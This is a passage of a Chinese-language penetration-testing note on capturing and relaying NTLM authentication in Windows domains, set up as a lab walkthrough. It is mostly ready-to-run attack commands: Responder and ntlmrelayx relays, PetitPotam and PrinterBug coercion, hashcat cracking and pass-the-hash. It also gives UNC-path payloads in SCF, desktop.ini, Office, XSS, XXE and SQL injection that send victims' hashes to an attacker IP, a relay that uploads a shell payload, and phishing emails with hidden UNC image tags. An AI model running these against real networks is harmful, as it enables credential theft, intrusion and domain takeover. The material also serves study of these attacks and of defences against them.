responder -I eth0 -wd --disable-smb

终端二:

1
ntlmrelayx.py -tf targets.txt -smb2support -i

步骤三:触发认证

1
python3 PetitPotam.py -d god -u user -p password 攻击者IP 目标IP

步骤四:获得 Shell 后操作

1
2
3
4
5
6
SMB> whoami
god\administrator

SMB> dir \\目标IP\c$\users

SMB> type \\目标IP\c$\users\administrator\desktop\flag.txt

中继到 LDAP 的攻击

LDAP 中继可以执行域操作:

添加机器账户:

1
ntlmrelayx.py -t ldap://dc.god.com --add-computer fakecomputer

提升用户权限:

1
ntlmrelayx.py -t ldap://dc.god.com --escalate-user controlleduser

导出 LAPS 密码:

1
ntlmrelayx.py -t ldap://dc.god.com --dump-laps

总结

中继攻击的核心价值:不需要破解密码,直接获得访问权限。

常见用途:

  • 横向移动
  • 获取 shell
  • 导出 hash
  • 中继到 LDAP 操作域

后续攻击:

  • 执行命令
  • 上传后门
  • 导出凭证
  • 持久化控制

发起并截获NTLM请求

NTLM是一种嵌入式协议,消息的传输依赖使用NTLM进行认证的上层协议,如SMB,LDAP,HTTP等只要使用这些协议的应用程序都可以要求用户发起NTLM请求。测试人员可通过Reseponser等工具对用户的NTLM认证请求进行拦截,以获取其Net-NTLM Hash

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种

Responder欺骗原理

基本协议LLMNR、NBNS、MDNS

在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(*LLMNR*、名称服务器(NBNS) 协议和多播DNS(mdns)协议

LLMNR

**链路本地多播名称解析(LLMNR)**是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。

NBNS

网络基本输入/输出系统(NetBIOS) 名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。

mdns

在计算机网络中 , 多播DNS ( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统 (DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且MDNS也支持IPV6。

目前仅有windows 10支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。

总的来说,以上几种协议在windows中都是默认启用的,主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。

例如当域内win10主机在ping 一个不存在的主机名时,会按照下列流程尝试解析(win10和win7有不同表现):

1
2
3
4
5
6
7
1.查看本地hosts文件

2.查找DNS缓存,windows可使用命令 ipconfig/displaydns 查看

3.DNS服务器

4.尝试LLMNR、NBNS和MDNS协议进行解析

域内win10主机ping win-testimg

由上图可以看出,在DNS解析失败后,会通过LLMNR、MDNS和NBNS再次尝试进行解析,LLMNR和MDNS分别向224.0.0.252、224.0.0.251两个IPV4多播地址进行广播,而NBNS则是向广播地址进行广播。

PS:224.0.0.252、224.0.0.251是IPV4多播地址,具体关于IPV4多播地址的更多信息可以自行查找相关资料。

NTLM攻击常用方法

https://xz.aliyun.com/news/8137

https://mp.weixin.qq.com/s/y1ehsvJEBkZ-qynNrOlAuA

https://paper.seebug.org/474/

https://www.freebuf.com/articles/system/194549.html

https://www.freebuf.com/articles/network/256844.html

https://www.freebuf.com/articles/network/265246.html

Windows中,通过设置恶意服务器的UNC路径,能够使受害机器自动使用当前用户凭证像恶意服务器发起NTLM认证

UNC(Universal Naming Convention)路径是 Windows 系统中用于访问网络资源的标准路径格式。

格式

\服务器名\共享名\路径\文件

示例

  • \Server01\ShareFolder\docs\file.txt
  • \192.168.1.100\public\readme.md

特点

  1. 双反斜杠开头 - 以 \ 标识这是网络路径
  2. 不依赖盘符 - 不需要映射为本地驱动器字母(如 Z:)
  3. 跨机器访问 - 用于访问局域网内其他计算机的共享资源

常见用途

  • 访问网络共享文件夹
  • 配置文件中引用远程资源
  • 脚本和程序中定位网络文件
  • Docker 容器挂载网络存储

系统命令

利用系统命令传入UNC路径,执行时,会对目标主机发起NTLM认证请求

开启responder

1
responder -I eth0 -wd 

利用win7访问攻击机

1
net use \\192.168.89.130\123

可以看到kali捕获了ntlmv2 hash

获取hash值之后,我们尝试使用kali自带的hashcat对这段hash进行暴力破解,当然密码字典需要自己提供一下。kali自带的hashcat是一个破解密码的神器,可支持调用CPU、GPU,且GPU的破解速度是CPU完全比不了的,破解密文类型多,支持各种加密算法,大家有兴趣可以了解下。这里就简单使用hashcat破解该用户的密码:

1
2
3
4
hashcat -m 5600 ./SMB-NTLMv2-SSP-172.24.48.100.txt ./top100.txt --force
-m 指定密文类型,5600对应的就是NetNTLMv2
./top100.txt 为密码字典文件
--force 为忽略警告

获得的 NTLMv2 hash 主要有以下几种利用方式:

  1. 离线破解

使用 hashcat 或 john 破解获取明文密码

hashcat

hashcat -m 5600 hash.txt wordlist.txt

John the Ripper

john –format=netntlmv2 hash.txt
john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt


  1. Pass-the-Hash

不需要破解,直接使用 hash 进行认证

impacket 工具套件

工具 用途
wmiexec.py WMI 远程执行
smbexec.py SMB 远程执行
psexec.py PSExec 远程执行
smbclient.py SMB 文件访问

WMI 远程执行

1
wmiexec.py -hashes :<NTLM_HASH> domain/user@target

SMB 远程执行

1
smbexec.py -hashes :<NTLM_HASH> domain/user@target

PSExec

1
psexec.py -hashes :<NTLM_HASH> domain/user@target

SMBClient

1
smbclient.py -hashes :<NTLM_HASH> domain/user@target

Metasploit Framework

1
2
3
4
5
6
use exploit/windows/smb/psexec
set RHOSTS target_ip
set SMBUser username
set SMBPass <LM>:<NTLM>
set SMBDomain domain
run

  1. 中继攻击 (Relay Attack)

如果 hash 无法破解,可中继到其他机器

ntlmrelayx

基本中继

1
ntlmrelayx.py -tf targets.txt -smb2support

配合 Responder 关闭 SMB 起伏

1
responder -I eth0 -wd --disable-smb

多协议中继

1
ntlmrelayx.py -tf targets.txt -of netntlmv2 -smb2support -http

  1. 域内信息收集

使用 hash 获取目标凭证

1
secretsdump.py -hashes :<NTLM_HASH> domain/user@target

Hash 格式说明

NTLMv2 hash 格式:
user::domain:challenge:NTLMv2_response:NTProofStr

示例:
Administrator::WORKGROUP:1122334455667788:0102030405060708090a0b0c0d0e0f10:112233445566778899aabbccddeeff00


注意事项

  • NTLMv2 较难破解 │ 尝试弱密码字典、公司名+年份组合
  • 中继需同网段 │ 通常需要在同一网段才能成功中继
  • 域环境更有价值 │ 域管 hash 可横向移动到多台机器

desktop.ini

我们可以通过图标资源来代替代 net use这条命令,比如我们可以创建一个文件夹test,并在test下再创建一个文件夹如test2,通过给test2设置其他图标,能在test2文件夹下生成一个隐藏的系统文件desktop.ini,而通过修改设置可以使desktop.ini可见,最后编辑这个文件,将图标资源指向一个攻击机,打开test文件夹之后即可获取hash值。

创建文件夹更改图标

此时desktop.ini文件已生成,需要修改配置使desktop.ini文件可见:

进入test2文件夹可以看到desktop.ini文件

将上图中原本的IconResource路径修改

格式

1
IconResource=\\192.168.89.130\C\Windows\system32\SHELL32.dll,0

设置完成后打开文件夹kali攻击机会拦截到ntlm hash值

SCF文件

SCF文件是Windows文件资源管理器命令文件,也是一种可执行文件,该文件中的IconFile属性可以指定UNC路径

在一个文件夹下新建一个test.scf文件

1
2
3
4
5
[Shell]
Command=2
IconFile=\\192.168.89.130\SYS\test.ico
[Taskbar]
Command=ToggleDesktop

打开文件夹时,目标主机将尝试加载指定路径的图标资源,攻击机将截获NTLM hash

新版Responder会自动跳过已截获hash

PDF文件

PDF规范允许为GoTobe和GoToR条目加载远程内容。测试人员可以在PDF文件中插入UNC路径,用户打开文档是,将向恶意服务器发起NTLM认证

利用工具

将生成好的pdf上传到目标主机即可

注意:只有目标主机使用Adobe Reader打开文件时才会发起NTLM请求

office文档

Office文档的document.xml.rels文件可以插入UNC路径,向指定服务器发起NTLM请求

  1. 新建一个word文档任意插入一张图片后保存,使用压缩软件打开上述word文档

  2. 在word\ _rels目录下找到并打开document.xml.rels文件,找到刚才插入图片对应的Target参数,将其修改为恶意服务器的UNC路径,加上TargetMode=”External”

  3. 将word文档上传到目标主机

PrivExchange漏洞

https://www.anquanke.com/post/id/170199

Microsoft Exchange允许任意关联了Exchange邮箱的用户同归EWS接口来创建一个推送订阅,并可以指定URL作为通知推送的目的地。当触发通知推送时,Exchange将使用CredentialCache.DefaultCredentials发出HTTP请求,并以机器账户的身份发起NTLM认证。

需要一个关联了Exchange邮箱的用户权限

开启Responder监听

1
2
3
4
5
python privexchange.py -ah 192.168.89.130 192.168.89.135 -u user -p passwd -d domain.com -ev 2016
#-ah 指定恶意服务器地址
#-u,-p 指定Exchange邮箱账户的账号和密码
#-d 指定域名
#-ev 指定目标Exchange服务器的版本

通过privexchange.py连接到Exchange服务器(192.168.89.135)的EWS接口,以创建一个推送订阅,经过一分钟后,Exchange服务器将以机器账户的身份向攻击机发起NTLM认证

通常安装Microsoft Exchange服务器后,会在域中添加Exchange Trusted Subsystem,包含所有Exchange服务器,并且默认对与对象拥有WriteDACL权限。因此,Exchange机器账户具备域权限修改能里,能够为域普通成员服务DCSync操作权限

PrinterBug漏洞

Windows 的 MS-RPRN 协议用于打印客户机和打印服务器之间的通信,默认情况下是启用的。协议定义的 RpcRemoteFindFirstPrinterChangeNotificationEx() 调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。

任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过 Kerberos 或 NTLM 进行验证)。微软表示这个 bug 是系统设计特点,无需修复。

工作组触发 printerbug 是没问题,pipepotato 在工作组内也能起作用,问题在打印机服务是以 system 用户的权限运行的服务,system 用户在工作组内的网络凭据是匿名的,wireshark 抓包应该可以看到是 \,也就是不携带任何凭据。域内能利用是因为 system 用户在域内的网络凭据是机器用户的凭据。所以主要问题应该是网络凭据这块。network service 的网络凭据也是机器用户,pc默认会开启,且一般很少去关

利用工具

  • SpoolSample.exe
  • Printerbug.py

开启Responder监听后执行命令

1
python Printerbug.py god.com/Administrator:hongrisec@2019@192.168.89.135 192.168.89.130

PetitPotam漏洞

MS-EFSR中有一组API,可通过FileName参数指定UNC路径

PetitPotam可以通过滥用这些API迫使主机向恶意服务器发起NTLM认证请求,通过Responder工具即可截获目标机器Net-NTLM hash

  • 需要有域用户权限
  • 在Windows Server 2008/2012上,可匿名访问的命名管道不为空,可以匿名触发

先利用Responder开启监听

利用PetitPotam工具

https://github.com/topotam/PetitPotam

1
python PetitPotam.py -d god -u Administrator -p hongrisec@2019 192.168.89.130 192.168.89.135

kali地址:192.168.89.130

目标主机地址:192.168.89.135

顺利截获Net-NTLM hash

常见Web漏洞利用

xss

HTML标签允许使用href或src属性构造网络路径,两种构造方法

  1. 构造UNC路径,触发SMB请求并向恶意服务器发起NTLM认证

    1
    2
    3
    4
    # IE浏览器
    <script src="\\192.168.89.130\xss"></script>
    # 借助LLMNR/NBNS,适用于IE和edge浏览器
    <script src="\\UnknownName\xss"></script>

    用户访问了插入此代码的网站,Responder讲截获NTLM hash

  2. 构造HTTP路径

    1
    <script src="//192.168.89.130/xss"></script>

    当用户访问插入该代码的网站时,会弹出一个认证对话框

    用户填写完账号和密码后,Responder会截获目标用户的Net-NTLM hash

在Edge等浏览器中存在信任区域,包括互联网,本地内部网等区域

默认情况下,只有当某站点的域名在本地内部网或收信任的站点列表中时,浏览器才会自动使用当前计算机的用户名和密码进行NTLM认证,其他情况都会弹出验证框,让用户手动验证

许多组织将企业子域名所托管的所有数据标记为可信任数据。如在hack.com域中,*.hack.com位于白名单中,那么测试人员只需要获取 *.hack.com下的某台服务器,使用该服务器启动Responder监听,就可以让浏览器自动以登陆用户的凭据发起NTLM认证

Powermad项目的Invoke-DNSUpdate.ps1脚本可以用来向域内添加一条DNS记录。由于域内的成员默认具有添加DNS的权限。因此可以通过该脚本为运行Responder的服务注册一个子域名

1
2
Import-Module .\Invoke-DNSUpdate.ps1
Invoke-DNSUpdate -DNSTYpe A -DNSName a.god.com -DNSData 192.168.89.130

xss攻击向量

1
<script src="//a.god.com/xss"></script>

子域名位于本地网内部列表中,用户触发xss会自动以当前登录的用户凭证认证

文件包含

windows环境下,php常见的文件包含文件读取类函数,可以解析UNC网络路径

1
/1.php?file=\\192.168.89.130

xxe,ssrf同理

  • xxe

    在 xxe 里面加载外部文件的时候,如果路径支持 unc 路径的话,是能拿到 net-ntlm hash 的。

    如果不支持 UNC,可再测试 http 协议。

    在这里使用“php://filter/convert.base64-encode/resource=”来解析网络路径。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
    ]>
    <root>
    <name></name>
    <tel></tel>
    <email>OUT&xxe;OUT</email>
    <password></password>
    </root>
  • ssrf

    在 ssrf 里面如果支持 file 协议,并且 file 协议能加载远程资源的话,是能拿到 net-ntlm hash 的。

    当只支持 HTTP 协议的时候,也是可能打回 net-ntlm hash 的。

SQL注入

MySQL数据库,load_file,into dumpfile等常见操作支持UNC路径

1
2
3
4
5
select load_file('\\\\192.168.89.130\\file');
select load_file('\\\\Unknown\\file');
select 'test' into dumpfile '\\\\192.168.89.130\\file';
select 'test' into outfile '\\\\192.168.89.130\\file';
load data infile '\\\\192.168.89.130\\file' into table database.table_name;

如果目标网站存在SQL注入,就可以通过此类操作触发SMB请求,向指定服务器发起NTLM认证,使用该方法的前提是拥有相关操作的权限,并且没有Secure_file_priv的限制

具体权限和限制以及操作流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
一、用户权限要求

需要 MySQL 用户具备以下权限:

FILE 权限 - 执行文件读写操作

检查当前用户权限:

SELECT user, host, File_priv FROM mysql.user WHERE user = current_user();

+------+-----------+----------+
| user | host | File_priv|
+------+-----------+----------+
| root | localhost | Y |
| web | localhost | N |
+------+-----------+----------+

授权方式(需 DBA 权限):

GRANT FILE ON *.* TO 'user'@'host';
FLUSH PRIVILEGES;

---
二、secure_file_priv 限制

secure_file_priv 是 MySQL 的安全参数,限制 LOAD_FILE、INTO OUTFILE、LOAD DATA INFILE 的文件路径。

查看当前配置:

SHOW VARIABLES LIKE 'secure_file_priv';

配置值及含义:

NULL - 禁止所有文件导入导出(最严格)
空字符串 '' - 无限制(可读写任意路径,危险)
/tmp/ - 仅允许操作 /tmp/ 目录下文件

PHPMyAdmin 中查看:

SELECT @@secure_file_priv;

---
三、绕过方法

场景 1:secure_file_priv = NULL

完全禁止,无法绕过。但可以:

-- 尝试读取系统文件(部分版本可行)
SELECT @@version;
SELECT @@datadir;

场景 2:secure_file_priv = '/tmp/'

只能写入指定目录,但 UNC 路径可能不受限:

-- UNC 路径在某些版本不受 secure_file_priv 限制
SELECT LOAD_FILE('\\\\192.168.89.130\\test');

场景 3:secure_file_priv = ''(空)

无限制,可直接利用:

SELECT LOAD_FILE('\\\\192.168.89.130\\share\\file');
SELECT 'data' INTO OUTFILE '\\\\192.168.89.130\\share\\file.txt';

---
四、完整利用条件检查

SQL 注入点检查:

-- 基础信息
SELECT @@version;
SELECT @@secure_file_priv;
SELECT user();
SELECT current_user();

-- 权限检查
SELECT File_priv FROM mysql.user WHERE user = substring(user(), 1, instr(user(), '@')-1);

-- 检查 secure_file_priv
SELECT variable_value FROM information_schema.global_variables WHERE variable_name='SECURE_FILE_PRIV';

---
五、UNC 路径触发 NTLM 认证

为什么 UNC 路径可以绕过限制:

MySQL 在 Windows 下处理 UNC 路径时:

1. MySQL 服务账户尝试访问 \\192.168.89.130\share
2. 触发 SMB 连接
3. 发送 NTLM 认证请求
4. 攻击者 Responder 捕获 hash

攻击流程:

攻击者启动 Responder:
responder -I eth0 -wd

SQL 注入执行:
SELECT LOAD_FILE('\\\\192.168.89.130\\abc');

---
六、权限要求总结

必要条件:
├── MySQL 用户有 FILE 权限
├── secure_file_priv 允许或 UNC 路径绕过
├── MySQL 服务运行在 Windows(Linux 下 UNC 行为不同)
└── MySQL 服务账户有网络访问能力

Linux 下注意事项:

Linux 下也需要 FILE 权限和 secure_file_priv 配置,但 UNC 路径不生效。可通过 SMB 挂载后使用本地路径:

# 先挂载 SMB 共享
mount -t cifs //192.168.89.130/share /mnt/share

# SQL 中使用本地路径
SELECT LOAD_FILE('/mnt/share/file');

---
七、实战检查脚本

-- 一键检查
SELECT CONCAT('User: ', user(),
' | File_priv: ', (SELECT File_priv FROM mysql.user WHERE user = substring(user(), 1, instr(user(), '@')-1)),
' | secure_file_priv: ', @@secure_file_priv) AS info;

返回结果示例:

root@localhost | FILE: Y | secure_file_priv: NULL (不可利用)
root@localhost | FILE: Y | secure_file_priv: (可利用)
web@localhost | FILE: N | secure_file_priv: /tmp/ (不可利用)

对于SQL server数据库,通过调用xp_dirtree等存储过程可以发起NTLM请求

1
2
3
exec master.sys.xp_fileexit '\\192.168.89.130\\abc';
exec master.sys.xp_create_subdir '\\192.168.89.130\\abc';
exec master.sys.xp_dirtree '\\192.168.89.130\\abc';

SQL Server提供扩展的存储过程(一组为了完成待定功能的SQL语句集合,经过编译后存储在数据库中),其中一些存储过程命名以xp开头,可用于处理系统中文件

注意:当SQL Server是由Local System或Network Service服务账户启动时,将由机器账户发起NTLM认证。当SQL Server由域用户账户启动时,将由用户账户发起NTLM认证

利用LLMNR和NetBIOS欺骗

在攻击机responsder开启监听

1
responder -I eth0 -f -v
  • -I:指定使用的网卡
  • -f:允许攻击者查看受害者的主机指纹
  • -v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在日志中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个 -v 选项

此时在win7尝试连接未命名主机

1
2
net use \\bunny
dir \\bunny\c$

Responder截获hash

其他方法

https://paper.seebug.org/474/

https://xz.aliyun.com/news/8137

中继到SMB利用

将NTLM请求中继到SMB服务

SMB服务

基本定义

SMB(Server Message Block)是 Windows 网络文件共享协议。

作用:让不同计算机之间共享文件、打印机、串口等资源
端口:445(SMB over TCP)、139(NetBIOS)
版本:SMBv1、SMBv2、SMBv3


主要功能

文件共享

访问远程文件:\服务器\共享目录
读取、写入、删除远程文件

打印机共享

共享网络打印机
打印任务队列管理

远程管理

远程进程管理
远程服务控制
远程注册表访问


常见用法

访问共享目录
net use \192.168.1.100\c$ /user:domain\user password

查看共享资源
net view \192.168.1.100

映射网络驱动器
net use Z: \192.168.1.100\share


SMB 与安全

为什么攻击者关注 SMB

  1. 默认开启:Windows 系统默认启用
  2. 认证机制:使用 NTLM/Kerberos 认证 → 可捕获 hash
  3. 高权限:SYSTEM 权限运行
  4. 广泛使用:内网环境大量存在

著名漏洞

永恒之蓝(EternalBlue):SMBv1 漏洞,WannaCry 勒索病毒利用
SMB 中继:NTLM 认证中继攻击


SMB 版本

┌───────┬────────┬──────────────────────┐
│ 版本 │ 安全性 │ 说明 │
├───────┼────────┼──────────────────────┤
│ SMBv1 │ 不安全 │ 已弃用,永恒之蓝利用 │
├───────┼────────┼──────────────────────┤
│ SMBv2 │ 较安全 │ Windows Vista+ │
├───────┼────────┼──────────────────────┤
│ SMBv3 │ 安全 │ 支持加密、签名增强 │
└───────┴────────┴──────────────────────┘

查看 SMB 版本:

nmap -p 445 –script smb2-security-mode 目标IP


关闭 SMBv1

查看状态
Get-SmbServerConfiguration | Select EnableSMB2Protocol

禁用 SMBv1
Set-SmbServerConfiguration -EnableSMB1Protocol $false


SMB签名

核心规则

通信双方签名配置必须匹配,否则无法建立会话。


四种场景

服务器开启签名 + 客户端开启签名 = ✅ 可连接
服务器开启签名 + 客户端关闭签名 = ❌ 无法连接
服务器关闭签名 + 客户端开启签名 = ❌ 无法连接
服务器关闭签名 + 客户端关闭签名 = ✅ 可连接


默认配置

工作站/成员服务器:客户端签名开启,服务端签名关闭
域控制器:客户端签名开启,服务端签名开启


对攻击的影响

域控默认开启服务端签名,无法中继攻击。

成员服务器和工作站默认关闭服务端签名,可能被中继攻击。


一句话总结

只要服务端开启签名,客户端必须同样开启才能连接。域控默认开启签名防御 NTLM 中继。

在SMB中继攻击前扫描内网机器SMB签名情况

使用responder内的RunFinger.py工具扫描域内机器的SMB签名情况

1
crackmapexec smb 192.168.52.0/24 --gen-relay-list targets.txt

域环境下的利用

在域环境中,所有域用户的hash值都存储在活动目录数据库中,因此可以直接将域用户的NTLM请求中继到其他机器。前提是该机器没有开启SMB签名,并且没有限制该域用户登录

网络环境


攻击者KALI:192.168.89.130
VM1:192.168.89.135(NAT);192.168.52.143(host-only)
VM2:192.169.52.141(host-only)
VM3:192.168.52.138(host-only)

ntlmrelayx.py

impack项目的ntlmrelayx.py脚本用于执行NTLM攻击

执行以下命令

1
2
3
python ntlmrelayx.py -t smb://192.168.52.138 -c whoami -smb2support
-t:指定ntlmrelay目标地址
-c:中继成功后执行命令

通过前文介绍方法,诱导客户端向服务端发起NTLM认证,ntlmrelayx.py会中继当前请求到Server,成功后会执行系统命令

这里我们直接使用系统命令

1
net use \\192.168.89.130\123

看到并没有执行系统命令

域控开启了SMB签名,中继失败(这个环境是我还没打通的一个靶场)

确实无法使用SMB中继

执行以下命令

1
2
python3 ntlmrelayx.py -t smb://192.168.52.138 -e /root/shell.exe -smb2support
-e:指定上传到目标机器的攻击载荷

将在中继成功后向目标服务器上传并执行攻击载荷

同时要开启msf端口监听,顺利的话能看到目标主机上线

MultiRelay.py

获取目标服务器的交互式shell,但是目前没有对SMBv2的支持

使用方法如下

responder工具位于/usr/share/responder/tools

1
python MultiRelay.py -t 192.168.89.135 -u All

在Client上向恶意服务器发起NTLM请求,MultiRelay.py会拦截该请求并将其中继到Server,成功的话会获取到交互式shell

这个环境的域控开启了SMB签名,但是我们getshell的web服务器未开启SMB签名,所以这里中继到SMB服务器进行利用不成功

工作组的利用

在工作组环境中,每台服务器的账号和密码不同,hash值保存在本地的SAM文件中,很难拿将一台机器的NTLM请求中继到其他机器上

主要利用是将NTLM请求中继回本机,主要利用:MS0-068和cve-2019-1384

https://tttang.com/archive/1560/#toc_cve-2019-1384_ghost-potato

https://www.jianshu.com/p/c7d8e7d9c03c

中继到SMB攻击原理

SMB 中继攻击原理与密码的关系

核心要点

攻击者全程不需要知道用户密码,这就是中继攻击的核心。


NTLM 认证正常流程

  1. 客户端请求连接
  2. 服务器返回 Challenge(随机数)
  3. 客户端用密码哈希加密 Challenge,生成 Response
  4. 服务器验证 Response

密码哈希在客户端,用于计算 Response。服务器也有密码哈希,用于验证。


攻击者不知道密码为什么能成功

攻击者站在中间,不计算 Response,只是转发:

受害者 A 生成 Response(用 A 的密码哈希计算)
攻击者转发 Response 到目标 B
目标 B 验证 Response

关键点:A 和 B 使用相同的密码哈希。


密码的作用

密码在 NTLM 认证中的位置:

密码 → 密码哈希(NTLM Hash) → 用于加密 Challenge → 生成 Response

攻击者获得的是 Response,不是密码,也不是密码哈希。

Response 无法反推出密码或密码哈希。


为什么域环境更容易成功

域环境:

机器 A 的机器账户:GOD\A$,密码由域统一管理
机器 B 的机器账户:GOD\B$,不同账户
但是:A 的本地 SYSTEM 账户在 B 上可能有权访问
或者:抓获的是域用户认证

实际上域环境成功的原因:

域用户账户:god\administrator 在域控和成员服务器上都存在且密码相同
机器账户:god\STU1$ 的密码只在域控注册,无法中继到其他机器

中继成功是因为:
A 发起的认证 → 是域用户认证 → 域用户在 B 上也存在且密码相同 → 认证成功


为什么工作组难成功

工作组每台机器独立:

机器 A:administrator 密码 123456
机器 B:administrator 密码 abcdef

中继时:

A 的 Response 用 123456 的哈希计算
B 验证时用 abcdef 的哈希验证
结果:不匹配,认证失败


总结:密码在中继攻击中的关系

攻击者:不需要知道密码,只转发 Response
成功条件:A 和 B 使用相同的账户名和密码
域环境:域用户天然满足(同一账户,同一密码)
工作组:需要密码恰好相同,概率低

中继攻击的本质:

利用 NTLM 协议不验证来源的特性,把 A 的认证转发给 B。
只要 A 和 B 认为是同一个用户,就认证成功。

跟密码本身没有任何直接关系,攻击者永远不接触密码。

中继到Exchange利用

攻击者可以将用户的NTLM请求中继到Exchange服务,从而实现获取邮件信息,收发邮件,导出所有附件,船舰转发规则等操作。并且,很多组织会将Exchange服务器暴露在外网,中继攻击无需内网环境

利用工具:

  • ExchangeRelayX
  • NtlmRelayToEWS
  1. 执行以下命令

    1
    2
    python ./exchangeRelayx.py -t https://192.168.89.135 
    # -t 执行Exchage服务器地址

    在恶意服务器上启动ExchangeRelayX。启动后,该工具将在8000端口提供一个管理后台,可以访问受害用户的邮箱和联系人等

  2. 通过Outlook向目标用户发送嵌入了恶意HTML标签的钓鱼邮件,地址指向恶意服务器

    在使用 outlook 的情况下还可以通过 homepage 或者下发规则达到命令执行的效果。

    在 outlook 邮件中插入 HTML,触发 UNC

    在邮件中插入如下标签:

    1
    2
    <img src="\\192.168.60.172\blank">
    <img src="http://relayubuntu/blank">

    在用户通过 Outlook 打开邮件时:

    1. UNC 默认会通过 smb 协议发起 NTLM 认证,但是外网钓鱼的话,目标单位的 smb 流量可能无法出网。
    2. HTTP 默认不会发起 NTLM 认证,即使服务端对其进行 NTLM 挑战,除非服务端 url 位于服务器的信任网站或内联网列表。Windows 会认为 http://Netbios 形式的 url 处于内联网,域内用户默认有增加 DNS 记录的权限,因此攻击者需要先获取域用户权限并创建 DNS 记录来将恶意服务器”放入”内联网列表。显然,这种方法无法用于外网钓鱼。
    1
    2
    3
    4
    5
    6
    7
    8
    # 发送带 UNC 路径的邮件
    swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="\\192.168.60.172\blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"

    # 发送带 HTTP 路径的邮件
    swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="http://relayubuntu/blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
    # Powermad Invoke-DNSUpdate.ps1
    # 创建 DNS 记录
    Invoke-DNSUpdate -DNSType A -DNSName relayubuntu -DNSData 192.168.60.172
  3. 用户查看邮件时,会向恶意服务器发起NTLM认证,ExchangeRelayX将截获用户的认证请求并中继到Exchange Server的EWS接口

  4. 此时目标用户的Exchange会话将在ExchangeRelayX提供的管理后台中上线。单击”GO to Portal”,将进入一个类似OWA界面的管理后台,测试人员可以在此以目标用户的身份进行一系列操作,接管目标用户的邮箱

中继至LDAP利用

注:LDAP服务一般在域控制器的389端口运行,想要将NTLM请求中继到LDAP服务器利用,需要控制一台内网主机,建立隧道和代理转发

LDAP服务

基本定义

LDAP(Lightweight Directory Access Protocol)轻量级目录访问协议。

作用:访问和管理目录服务
端口:389(LDAP)、636(LDAPS 加密)
常见实现:Active Directory、OpenLDAP


主要功能

目录服务

存储用户、计算机、组等对象信息
层级结构组织数据(树形结构)
快速查询和检索

身份认证

用户登录验证
统一身份管理(SSO)
权限控制

资源定位

查找域内资源
定位域控、打印机、服务等


Active Directory 中的 LDAP

域环境使用 AD 存储所有信息
LDAP 是访问 AD 的协议
用户登录 → LDAP 验证 → 获取权限

AD 数据结构

DC=god,DC=com
├── CN=Users
│ ├── CN=Administrator
│ └── CN=zhangsan
├── CN=Computers
│ └── CN=STU1
└── OU=部门
└── CN=员工


常见操作

查询用户

ldapsearch -x -H ldap://192.168.89.135 -D “cn=admin,dc=god,dc=com” -W -b “dc=god,dc=com” “(objectClass=user)”

匿名绑定测试

ldapsearch -x -H ldap://192.168.89.135 -b “” -s base namingcontexts


安全相关

为什么攻击者关注 LDAP

  1. 集中存储:所有用户、计算机、组信息
  2. 高价值:域管信息、组策略、信任关系
  3. 认证凭据:可用于获取 hash
  4. 中继目标:LDAP 中继可添加用户到域

LDAP 中继攻击

攻击者拦截 NTLM 认证 → 中继到 LDAP → 可执行:

  • 添加域用户
  • 修改用户权限
  • 获取域信息

ntlmrelayx.py -t ldap://192.168.89.135 –add-computer
ntlmrelayx.py -t ldap://192.168.89.135 –escalate


查询工具

工具 用途
ldapsearch Linux 命令行查询
impacket getADUsers.py、ldapdomaindump.py
BloodHound 图形化分析域关系
CrackMapExec 批量 LDAP 查询

示例:

获取域用户
python3 getADUsers.py -all god.com/user:password@dc.god.com

导出域信息
python3 ldapdomaindump.py -u ‘god.com\user’ -p ‘password’ ldap://192.168.89.135

LDAP签名

服务器启用LDAP签名后,客户端必须协商数据签名,否则无法执行LDAP查询

